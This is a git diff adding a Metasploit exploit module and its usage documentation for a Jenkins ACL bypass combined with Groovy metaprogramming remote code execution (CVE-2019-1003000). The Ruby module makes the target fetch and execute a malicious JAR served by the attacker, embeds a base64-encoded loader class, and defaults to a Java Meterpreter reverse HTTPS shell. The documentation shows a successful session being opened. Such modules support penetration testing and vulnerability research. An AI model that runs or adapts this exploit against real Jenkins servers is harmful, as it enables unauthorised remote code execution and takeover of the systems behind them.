diff --git a/documentation/modules/exploit/multi/http/jenkins_metaprogramming.md b/documentation/modules/exploit/multi/http/jenkins_metaprogramming.md new file mode 100644 index 0000000000..0634ed522b --- /dev/null +++ b/documentation/modules/exploit/multi/http/jenkins_metaprogramming.md @@ -0,0 +1,76 @@ +## Intro + +This module exploits a vulnerability in Jenkins dynamic routing to +bypass the `Overall/Read` ACL and leverage Groovy metaprogramming to +download and execute a malicious JAR file. + +The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work +on later versions of Jenkins. + +Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61. + +## Setup + +1. `git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc` +2. `cd cve-2019-1003000-jenkins-rce-poc/sample-vuln` +3. Edit `run.sh` and change `2.152-alpine` to `2.137` +4. `./run.sh` + +## Targets + +``` +Id Name +-- ---- +0 Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61) +``` + +## Options + +**RPORT** + +Set this to the Jenkins port. The default is 8080. + +**TARGETURI** + +Set this to the Jenkins base path. The default is `/`. + +**SRVPORT** + +Set this to the port on which to serve the payload. Change it from 8080 +to something like 8081 if you are testing Jenkins locally on port 8080. + +**ForceExploit** + +Set this to `true` to override the `check` result during exploitation. + +## Usage + +``` +msf5 exploit(multi/http/jenkins_metaprogramming) > run + +[*] Started HTTPS reverse handler on https://192.168.1.2:8443 +[*] Jenkins 2.137 detected +[+] Jenkins 2.137 is a supported target +[+] ACL bypass successful +[*] Using URL: http://0.0.0.0:8081/ +[*] Local IP: http://192.168.1.2:8081/ +[*] Sending Jenkins and Groovy go-go-gadgets +[*] HEAD /CarisaChristiansen/Rank/3.3.5/Rank-3.3.5.pom requested +[-] Sending 404 +[*] HEAD /CarisaChristiansen/Rank/3.3.5/Rank-3.3.5.jar requested +[+] Sending 200 +[*] GET /CarisaChristiansen/Rank/3.3.5/Rank-3.3.5.jar requested +[+] Sending payload JAR +[*] https://192.168.1.2:8443 handling request from 192.168.1.2; (UUID: qlrpxu6t) Staging java payload (54399 bytes) ... +[*] Meterpreter session 1 opened (192.168.1.2:8443 -> 192.168.1.2:58688) at 2019-03-15 18:57:24 -0500 +[*] Server stopped. +[!] This exploit may require manual cleanup of '$HOME/.groovy/grapes/CarisaChristiansen' on the target + +meterpreter > getuid +Server username: jenkins +meterpreter > sysinfo +Computer : 6f21b8da2915 +OS : Linux 4.9.93-linuxkit-aufs (amd64) +Meterpreter : java/linux +meterpreter > +``` diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index e7bb5e47b9..e35e87cef2 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -204,7 +204,7 @@ module Exploit::Remote::HttpServer end # Set {#on_request_uri} to handle the given +uri+ in addition to the one - # specified by the user in URIPATH. + # specified by the developer in opts['Path'] or by the user in URIPATH. # # @note This MUST be called from {#primer} so that the service has been set # up but we have not yet entered the listen/accept loop. diff --git a/modules/exploits/multi/http/jenkins_metaprogramming.rb b/modules/exploits/multi/http/jenkins_metaprogramming.rb new file mode 100644 index 0000000000..27ab60c9c3 --- /dev/null +++ b/modules/exploits/multi/http/jenkins_metaprogramming.rb @@ -0,0 +1,280 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Jenkins ACL Bypass and Metaprogramming RCE', + 'Description' => %q{ + This module exploits a vulnerability in Jenkins dynamic routing to + bypass the Overall/Read ACL and leverage Groovy metaprogramming to + download and execute a malicious JAR file. + + The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work + on later versions of Jenkins. + + Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61. + }, + 'Author' => [ + 'Orange Tsai', # Discovery and PoC + 'wvu' # Metasploit module + ], + 'References' => [ + ['CVE', '2019-1003000'], # Script Security + ['CVE', '2019-1003001'], # Pipeline: Groovy + ['CVE', '2019-1003002'], # Pipeline: Declarative + ['EDB', '46427'], + ['URL', 'https://jenkins.io/security/advisory/2019-01-08/'], + ['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'], + ['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'], + ['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc'] + ], + 'DisclosureDate' => '2019-01-08', # Public disclosure + 'License' => MSF_LICENSE, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Privileged' => false, + 'Targets' => [ + ['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)', + 'Version' => Gem::Version.new('2.137') + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'}, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], + 'Reliability' => [REPEATABLE_SESSION] + }, + 'Stance' => Stance::Aggressive # Be aggressive, b-e aggressive! + )) + + register_options([ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/']) + ]) + + register_advanced_options([ + OptBool.new('ForceExploit', [false, 'Override check result', false]) + ]) + + deregister_options('URIPATH') + end + +=begin + http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword] +=end + def check + checkcode = CheckCode::Safe + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => go_go_gadget1('/search/index'), + 'vars_get' => {'q' => 'a'} + ) + + unless res && (version = res.headers['X-Jenkins']) + vprint_error('Jenkins not detected') + return CheckCode::Unknown + end + + vprint_status("Jenkins #{version} detected") + checkcode = CheckCode::Detected + + if Gem::Version.new(version) > target['Version'] + vprint_error("Jenkins #{version} is not a supported target") + return CheckCode::Safe + end + + vprint_good("Jenkins #{version} is a supported target") + checkcode = CheckCode::Appears + + if res.body.include?('Administrator') + vprint_good('ACL bypass successful') + checkcode = CheckCode::Vulnerable + else + vprint_error('ACL bypass unsuccessful') + return CheckCode::Safe + end + + checkcode + end + + def exploit + unless check == CheckCode::Vulnerable || datastore['ForceExploit'] + fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + end + + # NOTE: Jenkins/Groovy/Ivy uses HTTP unconditionally, so we can't use HTTPS + # HACK: Both HttpClient and HttpServer use datastore['SSL'] + ssl = datastore['SSL'] + datastore['SSL'] = false + start_service('Path' => '/') + datastore['SSL'] = ssl + + print_status('Sending Jenkins and Groovy go-go-gadgets') + send_request_cgi( + 'method' => 'GET', + 'uri' => go_go_gadget1, + 'vars_get' => {'value' => go_go_gadget2} + ) + end + + # + # Exploit methods + # + +=begin + http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword + ?apiUrl=http://169.254.169.254/%23 + &login=orange + &password=tsai +=end + def go_go_gadget1(custom_uri = nil) + # NOTE: See CVE-2018-1000408 for why we don't want to randomize the username + acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin') + + return normalize_uri(acl_bypass, custom_uri) if custom_uri + + normalize_uri( + acl_bypass, + '/descriptorByName', + '/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile' + ) + end + +=begin + http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile + ?value= + @GrabConfig(disableChecksums=true)%0a + @GrabResolver(name='orange.tw', root='http://[your_host]/')%0a + @Grab(group='tw.orange', module='poc', version='1')%0a + import Orange; +=end + def go_go_gadget2 + ( + <<~EOF + @GrabConfig(disableChecksums=true) + @GrabResolver('http://#{srvhost_addr}:#{srvport}/') + @Grab('#{vendor}:#{app}:#{version}') + import #{app} + EOF + ).strip + end + + # + # Payload methods + # + + # + # If you deviate from the following sequence, you will suffer! + # + # HEAD /path/to/pom.xml -> 404 + # HEAD /path/to/payload.jar -> 200 + # GET /path/to/payload.jar -> 200 + # + def on_request_uri(cli, request) + vprint_status("#{request.method} #{request.uri} requested") + + unless %w[HEAD GET].include?(request.method) + vprint_error("Ignoring #{request.method} request") + return + end + + if request.method == 'HEAD' + if request.uri != payload_uri + vprint_error('Sending 404') + return send_not_found(cli) + end + + vprint_good('Sending 200') + return send_response(cli, '') + end + + if request.uri != payload_uri + vprint_error('Sending bogus file') + return send_response(cli, "#{Faker::Hacker.say_something_smart}\n") + end + + vprint_good('Sending payload JAR') + send_response( + cli, + payload_jar, + 'Content-Type' => 'application/java-archive' + ) + + # XXX: $HOME may not work in some cases + register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}") + end + + def payload_jar + jar = payload.encoded_jar + + jar.add_file("#{app}.class", exploit_class) + jar.add_file( + 'META-INF/services/org.codehaus.groovy.plugins.Runners', + "#{app}\n" + ) + + jar.pack + end + +=begin javac Exploit.java + import metasploit.Payload; + + public class Exploit { + public Exploit(){ + try { + Payload.main(null); + } catch (Exception e) { } + + } + } +=end + def exploit_class + klass = Rex::Text.decode_base64( + <<~EOF + yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYB + AARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNq + YXZhL2xhbmcvRXhjZXB0aW9uAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmpl + Y3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARtYWluAQAWKFtMamF2YS9sYW5n + L1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3AAEAAgAAAA0q + twABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwAL + AAAA + EOF + ) + + # Replace length-prefixed string "Exploit" with a random one + klass.sub(/.Exploit/, "#{[app.length].pack('C')}#{app}") + end + + # + # Utility methods + # + + def payload_uri + "/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar" + end + + def vendor + @vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join + end + + def app + @app ||= Faker::App.name.split(/[^[:alpha:]]/).join + end + + def version + @version ||= Faker::App.semantic_version + end + +end